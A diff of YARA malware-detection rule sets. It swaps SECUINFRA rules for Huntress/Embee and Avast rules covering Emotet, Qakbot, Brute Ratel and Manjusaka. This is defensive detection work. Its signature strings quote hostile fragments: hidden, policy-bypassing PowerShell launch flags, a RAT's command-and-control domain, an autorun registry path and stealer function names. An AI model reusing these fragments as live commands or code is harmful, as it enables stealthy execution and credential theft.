+		$g2 = {7c 75 84 91}
+		$g3 = {47 fb eb 2b}
+		$g4 = {42 24 3d 39}
+		$g5 = {e7 e9 ef ee}
+		$g6 = {47 fd 36 2e}
+		$g7 = {39 de 19 3d}
+		$g8 = {20 df db f7}
+		$g9 = {45 34 2a 41}
+		$g10 = {7d 1c 44 2e}
+		$g11 = {7d 28 44 2e}
+		$g12 = {94 36 65 8d}
+		$ror_1 = {48 ff c2 c1 c9 08 0f be c0 03 c8}
+		$ror_2 = {41 c1 c8 08 41 80 fa 61}
+		$gs_offset_1 = {65 48 8b 04 25 30 00 00 00 48 8b 48 60 4c 8b 59 18}
+		$gs_offset_2 = {65 48 8b 04 25 30 00 00 00 8b d9 48 8b 50 60 4c 8b 4a 18 49 83 c1 10}
+		$shr_block = {c1 e9 02 33 ca 66 d1 e8 d1 e9 33 ca c1 e9 02 33 ca c1 e2 0f}
 
 	condition:
-		#wscript>30 and 2 of ($hex_enc_str*)
+		uint16(0)==0x5a4d and filesize <5000KB and ((((3 of ($s*)) or (3 of ($g*))) and ((1 of ($ror*)) and (1 of ($gs_offset*)))) or $shr_block)
 }
-rule SECUINFRA_OBFUS_VBS_Reverse_Startup : FILE
+rule EMBEERESEARCH_Win_Emotet_String_Patterns_Oct_2022 : FILE
 {
 	meta:
-		description = "Detecs reversed StartUp Path. Sometimes used as obfuscation"
-		author = "SECUINFRA Falcon Team"
-		id = "ecb96e30-0ac0-530a-83af-bb030f7dce4c"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/vbs_obfuscation.yar#L2-L13"
+		description = "Detection of string hashing routines observed in emotet"
+		author = "Embee_Research @ HuntressLabs"
+		id = "fd9c3133-95dc-5dd8-9e94-ed85ad8e1fc7"
+		date = "2022-10-14"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_emotet_string_patterns_oct_2022.yar#L1-L19"
 		license_url = "N/A"
-		logic_hash = "7b4d56d3bbe8d16d5e01fa9a021a368feb28b8b062860df76a2569966a97b8bc"
+		logic_hash = "36f4a3fed124b8c25711f706c5b4f1c9b0801c2105cf86077b8c002dd70a6fbc"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$reverse = "\\putratS\\smargorP\\uneM" wide nocase
+		$em1 = {45 33 f6 4c 8b d0 48 85 c0 74 64 48 8d 14 b3 4c 8b c0 45 8b de 4c 8b ca 4c 2b cb 49 83 c1 03 49 c1 e9 02 48 3b da 4d 0f 47 ce}
+		$em2 = {8b cd 49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00 0f b7 c1 c1 e9 10 66 c1 e8 08 4d 8d 40 08 66 41 89 40 fa 0f b6 c1 66 c1 e9 08 66 41 89 40 fc 66 41 89 48 fe 4d 3b d9}
+		$em3 = {49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00}
+		$em4 = {8b cb 41 8b d0 d3 e2 41 8b cb d3 e0 03 d0 41 0f be c1 03 d0 41 2b d0 49 ff c2 44 8b c2}
 
 	condition:
-		filesize <200KB and $reverse
+		uint16(0)==0x5a4d and ( any of them )
 }
-rule SECUINFRA_OBFUS_Powershell_Execution : FILE
+rule EMBEERESEARCH_Win_Gracewire_Loader_Dec_2022 : FILE
 {
 	meta:
-		description = "Detects some variations of obfuscated PowerShell code to execute further PowerShell code"
-		author = "SECUINFRA Falcon Team"
-		id = "b32c2a92-599c-5916-a335-dc996dcdc1bf"
-		date = "2022-09-02"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/powershell_obfuscation.yar#L1-L17"
+		description = "Yara rule to detect GraceWireLoader via usage of Stack Strings"
+		author = "Embee_Research @ Huntress"
+		id = "63d0cd9f-34f7-5ec4-8061-66d36859bd0c"
+		date = "2022-12-12"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_gracewire_loader_dec_2022.yar#L2-L24"
 		license_url = "N/A"
-		logic_hash = "b201774edc4a20a0035cd68898a785a6c2fc03fb8739d515196e428d4a88af70"
+		logic_hash = "168af6d24c0646e90717f27e6ba4a18da8e92950ffa7a881243860305037da48"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$a1 = "-nop -w hiddEn -Ep bypass -Enc" ascii nocase
-		$a2 = "-noP -sta -w 1 -enc" ascii nocase
-		$b1 = "SQBFAF"
+		$ZwAllocateVirtualMemory = {c6 44 24 48 5a c6 44 24 49 77 c6 44 24 4a 41 c6 44 24 4b 6c c6 44 24 4c 6c c6 44 24 4d 6f c6 44 24 4e 63 c6 44 24 4f 61 c6 44 24 50 74 c6 44 24 51 65 c6 44 24 52 56 c6 44 24 53 69 c6 44 24 54 72 c6 44 24 55 74 c6 44 24 56 75 c6 44 24 57 61 c6 44 24 58 6c c6 44 24 59 4d c6 44 24 5a 65 c6 44 24 5b 6d c6 44 24 5c 6f}
+		$LdrGetProcedureAddress = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 47 c6 44 24 54 65 c6 44 24 55 74 c6 44 24 56 50 c6 44 24 57 72 c6 44 24 58 6f c6 44 24 59 63 c6 44 24 5a 65 c6 44 24 5b 64 c6 44 24 5c 75 c6 44 24 5d 72 c6 44 24 5e 65 c6 44 24 5f 41 c6 44 24 60 64 c6 44 24 61 64 c6 44 24 62 72 c6 44 24 63 65 c6 44 24 64 73 c6 44 24 65 73 c6 44 24 66 00}
+		$LdrLoadDLL = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 4c c6 44 24 54 6f c6 44 24 55 61 c6 44 24 56 64 c6 44 24 57 44 c6 44 24 58 6c c6 44 24 59 6c}
+		$ZwFreeVirtualMemory = {c6 44 24 30 5a c6 44 24 31 77 c6 44 24 32 46 c6 44 24 33 72 c6 44 24 34 65 c6 44 24 35 65 c6 44 24 36 56 c6 44 24 37 69 c6 44 24 38 72 c6 44 24 39 74 c6 44 24 3a 75 c6 44 24 3b 61 c6 44 24 3c 6c c6 44 24 3d 4d c6 44 24 3e 65 c6 44 24 3f 6d c6 44 24 40 6f c6 44 24 41 72 c6 44 24 42 79}
 
 	condition:
-		filesize <300KB and $b1 and 1 of ($a*)
+		3 of them
 }
-rule SECUINFRA_OBFUS_Powershell_Replace_Tilde : FILE
+rule EMBEERESEARCH_Win_Qakbot_Api_Hashing_Oct_2022 : FILE
 {
 	meta:
-		description = "Detects usage of Replace to replace tilde. Often observed in obfuscation"
-		author = "SECUINFRA Falcon Team"
-		id = "59b68982-01ae-588a-9802-bb92c72342a8"
-		date = "2022-10-02"
-		modified = "2022-02-27"
-		reference = "https://bazaar.abuse.ch/sample/4c391b57d604c695925938bfc10ceb4673edd64e9655759c2aead9e12b3e17cf/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Obfuscation/powershell_obfuscation.yar#L19-L32"
+		description = "No description has been set in the source file - EmbeeResearch"
+		author = "@Embee_Research"
+		id = "b5478404-659d-5b3a-b722-f8ba33875d8a"
+		date = "2022-11-14"
+		modified = "2022-12-01"
+		reference = "https://twitter.com/embee_research/status/1592067841154756610"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_api_hashing_oct_2022.yar#L2-L21"
 		license_url = "N/A"
-		logic_hash = "a2693757f9aedc1019a94a15ae00f87af852d319aa698dadd7f9bb98128622a0"
+		logic_hash = "595cabd508ee60c5606f965eb9a290ae21ea32af0f56e213f6ce2d2e35dc4e11"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = "FILE"
+		vendor = "Huntress Labs"
 
 	strings:
-		$a = ".Replace(\"~\",\"0\")"
+		$qakbot_hashing = {0f b6 04 39 33 f0 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 41 3b ca}
 
 	condition:
-		filesize <400KB and $a
+		any of them
 }
-import "console"
-
-rule SECUINFRA_HUNT_RTF_CVE_2023_21716_Mar23 : CVE_2023_21716
+rule EMBEERESEARCH_Win_Bruteratel_Syscall_Hashes_Oct_2022 : FILE
 {
 	meta:
-		description = "Detects RTF documents with an inflated fonttable. Hunting for CVE-2023-21716"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "1b76f428-f2a8-5d1d-a78c-b4a70ac4f5db"
-		date = "2023-03-07"
-		modified = "2023-03-07"
-		reference = "https://www.bleepingcomputer.com/news/security/proof-of-concept-released-for-critical-microsoft-word-rce-bug/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Hunting/HUNT_RTF_CVE_2023_21716.yar#L3-L20"
+		description = "Detection of Brute Ratel Badger via api hashes of Nt* functions. "
+		author = "Embee_Research @ Huntress"
+		id = "b82612b4-272e-5ae2-bd87-3593e55918f8"
+		date = "2022-10-12"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_bruteratel_syscall_hashes_oct_2022.yar#L1-L23"
 		license_url = "N/A"
-		logic_hash = "456008db725b8348f9f3851bb9aae9990e7613e1b9056846b121605c3e080297"
-		score = 50
-		quality = 70
-		tags = "CVE-2023-21716"
-		tlp = "CLEAR"
+		logic_hash = "e284d5568e0b5ffa0f231f98ecce13b5f5518a4e005ea001a5c89087c91eb8a1"
+		score = 60
+		quality = 25
+		tags = "FILE"
+		vendor = "Huntress"
 
 	strings:
-		$fonttbl_len = /\\fonttbl\{.{1,10}\;\}(\s.{1,10}\}){10,}/
+		$hash1 = {89 4d 39 8c}
+		$hash2 = {bd ca 3b d3}
+		$hash3 = {b2 c1 06 ae}
+		$hash4 = {74 eb 1d 4d}
 
 	condition:
-		uint32be(0x0)==0x7B5C7274 and !fonttbl_len[1]>256 and console.log("[!] Inflated fonttable with length: ",!fonttbl_len[1])
+		( uint16(0)==0x5a4d or uint16(0)==0x00e8) and (2 of ($hash*))
 }
-rule SECUINFRA_MAL_Nw0Rm : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: AvastTI
+ * Repository: https://github.com/avast/ioc
+ * Retrieval Date: 2024-09-01
+ * Git Commit: b48f810c87e91f39068b28dee63bea4014e62aaa
+ * Number of Rules: 33
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+private rule AVASTTI_EXE_PRIVATE : FILE
 {
 	meta:
-		description = "Detect the final RAT dropped by N-W0rm"
-		author = "SECUINFRA Falcon Team"
-		id = "b014ce63-33ec-51df-a529-0c197dac2d7a"
-		date = "2022-03-02"
-		modified = "2022-02-07"
-		reference = "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/n-w0rm.yar#L1-L24"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "1096b81d-5853-5d19-b502-c8166b712a3d"
+		date = "2022-10-05"
+		modified = "2022-10-05"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/Manjusaka/Manjusaka.yar#L9-L13"
 		license_url = "N/A"
-		hash = "08587e04a2196aa97a0f939812229d2d"
-		logic_hash = "04078c57c1aa0065fceec7dc92b201bda23de1c5f5a940803a81250bdd685736"
+		logic_hash = "0688672446142f95a22e49a04234cc90b6c9021efeda9ce57034c88d84944663"
 		score = 75
-		quality = 70
+		quality = 90
 		tags = "FILE"
 
-	strings:
-		$a1 = "N-W0rm" fullword wide
-		$a2 = "N_W0rm" fullword wide
-		$a3 = "|NW|" fullword wide
-		$b1 = "Select * from AntivirusProduct" fullword wide
-		$b2 = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File" fullword wide
-		$b3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" fullword wide
-		$b4 = "killer" fullword wide
-		$b5 = "nyanmoney02.duckdns.org" fullword wide
-
 	condition:
-		uint16(0)==0x5a4d and 2 of ($a*) and 2 of ($b*)
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550
 }
-import "pe"
-
-rule SECUINFRA_MAL_Njrat : FILE
+private rule AVASTTI_ELF_PRIVATE
 {
 	meta:
-		description = "No description has been set in the source file - SecuInfra"
-		author = "SECUINFRA Falcon Team"
-		id = "eeea8bcf-0d19-5c43-92cc-55c1110f46e5"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/njrat.yar#L3-L35"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "38aa7852-e7ea-5b90-a5f6-0862ad19a051"
+		date = "2022-10-05"
+		modified = "2022-10-05"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/Manjusaka/Manjusaka.yar#L1-L7"
 		license_url = "N/A"
-		logic_hash = "e6f5ce20df70bc2f9d00931a84db08c1918a0639555204de8e86f3ba583a73f5"
+		logic_hash = "eb05e5d53bb8dea91467a76a164542894cdb1355cf3909f56818e27c589344ec"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		hash_1 = "38928ae157586ec7785121f79ac5f9eb6727eae66aa512d8adf52d9485928126"
-		hash_2 = "fcfa50ca0d4dcf2bb6e96e7b7a223138068f2d6a458d2630757e3bcbe0684aaa"
-		hash_3 = "fa28ad86ab796c8e18096badc31bcb1719474d268945172d983bb30ded219944"
+		quality = 90
+		tags = ""
 
 	strings:
-		$mutex_1 = "02ddd2742fd5023579c925948979506c" wide
-		$mutex_2 = "f2defcfce1660e18fd445b5dbce27282" wide
-		$mutex_3 = "f7d3b79624476341312866012d0bbf19" wide
-		$a1 = "\"|'|'|\"" wide
-		$a2 = "SEE_MASK_NOZONECHECKS" wide
-		$b1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
-		$b2 = "netsh firewall" wide
-		$b3 = "[ENTER]\\r\\n" wide
-		$b4 = "Execute ERROR" wide
+		$h01 = { 7F 45 4C 46 (01|02) (01|02) 01 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and pe.imports("mscoree.dll") and pe.imports("avicap32.dll") and 1 of ($mutex_*) or (1 of ($a*) and 2 of ($b*))
+		$h01 at 0
 }
-rule SECUINFRA_MAL_WSHRAT : RAT JAVASCRIPT WSHRAT FILE
+rule AVASTTI_Manjusaka_Framework_Go_Build_Id
 {
 	meta:
-		description = "Detects the final Payload of WSHART"
-		author = "SECUINFRA Falcon Team"
-		id = "8db5e349-c83e-53c3-a44d-cfe4732fe08d"
-		date = "2022-12-02"
-		modified = "2022-02-13"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/wshrat.yar#L2-L44"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "eca3324c-c029-53b5-b33d-9ec758dcd863"
+		date = "2022-10-05"
+		modified = "2022-10-05"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/Manjusaka/Manjusaka.yar#L15-L62"
 		license_url = "N/A"
-		hash = "b7f53ccc492400290016e802e946e526"
-		logic_hash = "12d893f0ca83e805fa570d3f72eb733c8d8b1ae6c0d37bf179ac675d108c7412"
+		hash = "955e9bbcdf1cb230c5f079a08995f510a3b96224545e04c1b1f9889d57dd33c1"
+		hash = "f275ca5129399a521c8cd9754b1133ecd2debcfafc928c01df6bd438522c564a"
+		hash = "637f3080526d7d0ad5eb41bf9331fb51aaafd30f2895c00a44ad905154f76d70"
+		hash = "b5c366d782426bad4ba880dc908669ff785420dea02067b12e2261dd1988f34a"
+		hash = "107b094031094cbb1f081d85ec2799c3450dce32e254bda2fd1bb32edb449aa4"
+		hash = "fb5835f42d5611804aaa044150a20b13dcf595d91314ebef8cf6810407d85c64"
+		hash = "ff20333d38f7affbfde5b85d704ee20cd60b519cb57c70e0cf5ac1f65acf91a6"
+		hash = "3581d99feb874f65f53866751b7874c106b5ce65a523972ef6a736844209043c"
+		hash = "6082bf26bcc07bf299a88eaa0272022418b12156cd987adfdff9fa1517afcf3d"
+		hash = "14dfb43a1782b0b8d93c3d67d63b6c786b0a223bc50c3ec68106bd18d43652a4"
+		hash = "4a0f47132867c12a6d009e43812729a1bb41f4eb83472ac352fc5b20fe937bef"
+		hash = "bb1b7d506559c783ed747da461f58ea5256ba0a083768ae6aa1a2325017c4387"
+		hash = "bd0e09e9ee4db74ada6433f00024a543f799046c15f635216ca4ae5e1f0c42e2"
+		logic_hash = "de68bc483255c9c1095771925a7c2fc3062489a4468d42e7c6aa9f0146841c5c"
 		score = 75
-		quality = 68
-		tags = "RAT, JAVASCRIPT, WSHRAT, FILE"
+		quality = 88
+		tags = ""
 
 	strings:
-		$function1 = "runBinder"
-		$function2 = "getBinder"
-		$function3 = "Base64Encode"
-		$function4 = "payloadLuncher"
-		$function5 = "getMailRec"
-		$function6 = "getHbrowser"
-		$function7 = "passgrabber"
-		$function8 = "getRDP"
-		$function9 = "getUVNC"
-		$function10 = "getConfig"
-		$function11 = "getKeyLogger"
-		$function12 = "enumprocess"
-		$function13 = "cmdshell"
-		$function14 = "faceMask"
-		$function15 = "upload"
-		$function16 = "download"
-		$function17 = "sitedownloader"
-		$function18 = "servicestarter"
-		$function19 = "payloadLuncher"
-		$function20 = "keyloggerstarter"
-		$function21 = "reverserdp"
-		$function22 = "reverseproxy"
-		$function23 = "decode_pass"
-		$function24 = "disableSecurity"
-		$function25 = "installsdk"
-		$cmd1 = "osversion = eval(osversion)"
-		$cmd2 = "download(cmd[1],cmd[2])"
-		$cmd3 = "keyloggerstarter(cmd[1]"
-		$cmd4 = "decode_pass(retcmd);"
+		$h01 = { 47 6F 00 00 57 79 5F 76 69 62 44 5A 76 32 77 6D 35 62 4C 32 71 73 6A 4A 2F 34 50 4D 56 79 4D 39 39 76 61 76 58 68 7A 65 5A 34 6C 76 2D 2F 4E 59 6C 5F 4B 6D 75 53 45 62 53 4E 4A 6B 39 45 61 52 74 31 2F 2D 45 4D 50 57 64 6A 73 30 4E 6C 37 73 79 67 41 41 74 65 54 00 }
+		$h02 = { 47 6F 00 00 79 30 4D 57 35 6A 74 30 45 6B 61 77 55 4B 35 6B 6B 6C 31 32 2F 5A 68 34 34 36 61 65 4D 7A 62 48 47 37 4F 73 56 4F 66 71 75 2F 6D 5F 58 74 43 52 32 32 39 75 4B 67 5A 62 51 65 44 35 43 74 2F 66 78 66 47 4A 47 61 59 4E 31 5F 36 6E 4E 76 32 58 5A 53 62 00 }
+		$h03 = { 47 6F 06 FF FF FF 7F 79 30 4D 57 35 6A 74 30 45 6B 61 77 55 4B 35 6B 6B 6C 31 32 2F 5A 68 34 34 36 61 65 4D 7A 62 FF FF FF FF 48 47 37 4F 73 56 4F 66 71 75 2F 6D 5F 58 74 43 52 32 32 39 75 4B 67 5A 62 51 65 44 35 43 74 2F }
+		$h04 = { 47 6F 00 00 30 33 30 36 42 53 4B 42 71 6E 71 4B 74 4D 51 71 67 53 58 4D 2F 68 4C 6A 34 77 76 56 56 4A 4C 79 42 43 61 4A 42 5F 38 4D 30 2F 73 74 66 62 47 73 46 5A 58 67 4E 6B 50 77 5A 4B 4C 71 52 65 2F 4D 49 46 68 69 67 7A 65 50 53 65 56 35 64 5F 52 6D 66 43 35 00 }
+		$h05 = { 47 6F 06 FF FF FF 7F 30 33 30 36 42 53 4B 42 71 6E 71 4B 74 4D 51 71 67 53 58 4D 2F 68 4C 6A 34 77 76 56 56 4A 4C FF FF FF FF 79 42 43 61 4A 42 5F 38 4D 30 2F 73 74 66 62 47 73 46 5A 58 67 4E 6B 50 77 5A 4B 4C 71 52 65 }
+		$h06 = { 47 6F 00 00 36 35 34 67 69 6A 50 41 55 6B 45 61 7A 4A 70 6A 44 39 4E 55 2F 67 44 75 48 46 31 78 66 64 70 39 31 53 66 36 53 59 51 48 58 2F 76 73 6E 6E 37 65 6B 67 30 54 4B 58 57 69 4F 53 63 46 30 44 2F 53 61 6D 30 73 51 6D 66 79 43 61 44 43 38 71 43 66 59 78 35 00 }
+		$h07 = { 47 6F 06 FF ED FF 7F 36 35 34 67 69 6A 50 41 55 6B 45 61 7A 4A 70 6A 44 39 68 2F 67 44 75 48 46 31 78 66 FF FF FF FF 64 70 39 31 53 66 36 53 59 51 48 58 2F 76 73 6E 6E 37 65 6B 67 30 54 4B 58 57 69 4F 53 63 46 30 }
+		$h08 = { 47 6F 20 62 FF FF FF FF 75 69 6C 64 20 49 44 3A 20 22 65 72 52 47 4F 4A 56 48 65 38 37 58 67 6D 79 4F 56 77 48 44 2F 42 FB FF FF FF 70 78 56 76 70 79 44 58 74 4C 64 64 79 57 46 64 38 4E 39 2F 6F 59 77 64 70 73 6D 46 45 }
+		$h09 = { 47 6F 20 62 75 69 6C 64 20 49 44 3A 20 22 65 72 52 47 4F 4A 56 48 65 38 37 58 67 6D 79 4F 56 77 48 44 2F 42 70 78 56 76 70 79 44 58 74 4C 64 64 79 57 46 64 38 4E 39 2F 6F 59 77 64 70 73 6D 46 45 44 58 39 32 58 4A 55 52 4C 55 7A 2F 62 62 58 59 38 43 76 6B 44 4D 72 69 42 33 32 64 49 36 53 58 }
+		$h10 = { 47 6F 00 00 47 6E 42 4B 6F 63 4C 77 76 57 5A 6E 43 5F 55 6D 49 72 2D 72 2F 36 50 2D 4F 7A 46 62 51 37 39 6F 59 79 79 61 44 52 48 56 34 2F 38 74 6D 46 77 78 63 53 64 63 63 6D 70 66 73 5A 63 33 68 62 2F 77 34 2D 36 49 52 50 70 75 42 66 75 61 68 7A 50 63 4C 35 32 00 }
+		$h11 = { 47 6F 06 FF FF FF FF 6E 42 4B 6F 63 4C 77 76 57 5A 6E 43 5F 55 6D 49 72 2D 72 2F 36 50 2D 4F 7A 46 62 51 37 39 6F FF FF 6F FF 59 79 79 61 44 52 48 56 DC 38 74 6D 46 77 78 63 53 64 63 63 6D 70 66 73 5A 63 33 68 62 }
+		$h12 = { 47 6F 00 00 4E 50 57 41 64 50 62 57 6D 6E 58 72 30 61 36 67 44 37 4B 7A 2F 54 74 6E 59 64 4F 79 43 6A 76 63 43 51 75 5A 39 47 69 44 72 2F 46 43 6D 4F 69 38 41 30 36 36 52 50 43 36 53 4F 57 76 61 4D 2F 43 70 57 37 4F 30 73 38 61 51 32 42 46 56 64 66 65 62 54 4A 00 }
+		$h13 = { 47 6F 06 FF FF FF 7F 4E 50 57 41 64 50 62 57 6D 6E 58 72 30 61 36 67 44 37 4B 7A 2F 54 74 6E 59 64 4F 79 43 6A 76 FF FF FF FF 63 43 51 75 5A 39 47 69 44 72 2F 46 43 6D 4F 69 38 41 30 36 36 52 50 43 36 53 4F 57 76 61 4D 2F }
 
 	condition:
-		filesize <2MB and 2 of ($cmd*) and 12 of ($function*)
+		any of them
 }
-import "pe"
-
-rule SECUINFRA_MAL_Redline_Certificate_Bosch : FILE
+rule AVASTTI_Manjusaka_Payload_Encoded_Hexstring
 {
 	meta:
-		description = "Detects Certificate used by Redline Stealer"
-		author = "SECUINFRA Falcon Team"
-		id = "a91d0510-ab4e-5f22-bcce-9a42beff5190"
-		date = "2022-12-02"
-		modified = "2022-02-13"
-		reference = "https://bazaar.abuse.ch/sample/60e40ccfc16ca9f36dee7ec2b4e2fc81398ff408bf7cc63fb7ddf0fef1d4b72b"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Stealer/redline_stealer.yar#L3-L16"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "9799081c-67ec-5ab8-9b23-31f60c05fc05"
+		date = "2022-10-05"
+		modified = "2022-10-05"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/Manjusaka/Manjusaka.yar#L64-L93"
 		license_url = "N/A"
-		logic_hash = "b3084bee5151543c0931bef9d320805d9e4d63c25be029da4e592d5a0b080a0e"
+		logic_hash = "5c0b83e709baea7db6185d888bfa10bab073eb0eb2f3fb72df2da76fff3f6f22"
 		score = 75
-		quality = 70
-		tags = "FILE"
+		quality = 90
+		tags = ""
+
+	strings:
+		$s01 = "1f8b08000000000000ff7cdd099c1ae5fd3ff031e620c6038d5aea493df18a24c688372626c1180d468d78d465b34b96357be0ee2612354ab5553caa68ad454d158f2a566b51ab454d2dde"
+		$s02 = "1f8b08000000000000ff94dd09982355d9fffd62d89a45880a181621804240c10888718328a8ed864144a3029d66ba67d2cc4c4fecee8180a85114f3284b4096b00d619380085111f3284a"
+		$s03 = "1f8b08000000000000ff94dd0b982355b5fffde21eee011503a204440d201001317a148278890a1804348ad269667a260d3d33b1bb19820246bc10914bb80811618c80108f084110232204"
+		$s04 = "1f8b08000000000000ff94dd07981bd5d9fffdb131208a41b4075123ba280101c6112d88d04468a22b01b25abc6b6bf17aadecae4140008540103582001110401483e8a28b2e4a4074d197"
+		$s11 = "1f8b08000000000000ffecbd09784cd7ff077c26c924631977828958c284694d5092da12eb8448ce302108a248628ba82d65862025e924b8aeabdaeaa2abb6bfaebad74f83fe4804a1d5d6"
+		$s12 = "1f8b08000000000000ffecbd097414c5faff5d9d7502849e400209201974c4441113371240c8842cd5d00361070502224bdc403203a82c8993d1146d2b7ac5e5ba5cdcb9aea85c36176612"
+		$s13 = "1f8b08000000000000ffecbd7b7854d5d928be7632496620710d4874522e9991ad4e94627641491425031378b7ae1150046a1168a1237ca2419801542e893b53b3d8eeafb4b5777b8eb5fd"
+		$s14 = "1f8b08000000000000ffecbd7b7854d5d530be4f32496620710f9ae8a45c3223479d28d51c414934960c4c601ddd23a811a845a0858e50d120cc002a97c49369b3399e96b6dacb5bfb7dbe"
+		$s15 = "1f8b08000000000000ffecbd79785445d6305eb7934e3a90e676846887451abc68c7b5e33293284b37e924a7e506a222a022c45119501c23744b1c194ce6764b2a97abcc88233a3aaee38a"
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "BOSCH BOSCH SDS-plus Professional 607557501" and pe.signatures[i].serial=="72:76:34:57:ef:50:d5:b0:4e:00:b3:74:ab:c6:ff:11")
+		(AVASTTI_EXE_PRIVATE or AVASTTI_ELF_PRIVATE) and ( any of ($s0*) and any of ($s1*))
 }
-import "pe"
-
-rule SECUINFRA_MAL_Redline_Certificate_Geforce : FILE
+rule AVASTTI_Manjusaka_Payload_Elf
 {
 	meta:
-		description = "Detects Certificate used by Redline Stealer"
-		author = "SECUINFRA Falcon Team"
-		id = "70081810-704e-5734-8a78-f97e17989460"
-		date = "2022-02-13"
-		modified = "2022-02-13"
-		reference = "https://bazaar.abuse.ch/sample/f36c1c2f6b6f334be93b72fccb8e46cadd59304dc244b3a5aabecc8f4018eb77"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Stealer/redline_stealer.yar#L18-L31"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "010398f6-ca9b-58b4-a9d8-12428f649ffc"
+		date = "2022-10-05"
+		modified = "2022-10-05"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/Manjusaka/Manjusaka.yar#L95-L122"
 		license_url = "N/A"
-		logic_hash = "04e9bfd886be1550b0efd22f0098cc13a5fb6e7cae30b866a4066d0c8f433367"
+		hash = "0063e5007566e0a7e8bfd73c4628c6d140b332df4f9afbb0adcf0c832dd54c2b"
+		hash = "76eb9af0e2f620016d63d38ddb86f0f3f8f598b54146ad14e6af3d8f347dd365"
+		hash = "0a5174b5181fcd6827d9c4a83e9f0423838cbb5a6b23d012c3ae414b31c8b0da"
+		hash = "63e7f6fa89faa88b346d0cceddf2ef2e3ebf5d5828aa0087663c227422041db7"
+		hash = "400855b63b8452221869630c58b7ab03373dabf77c0f10df635e746c13f98ea9"
+		hash = "4eb337c12f0e0ee73b3209bed4b819719c4af9f63f3e81dbc3bbf06212450f1c"
+		logic_hash = "bbc496788381b57b3ea2814dd61a824d552233f9c5f73287f8bc284252fbedfe"
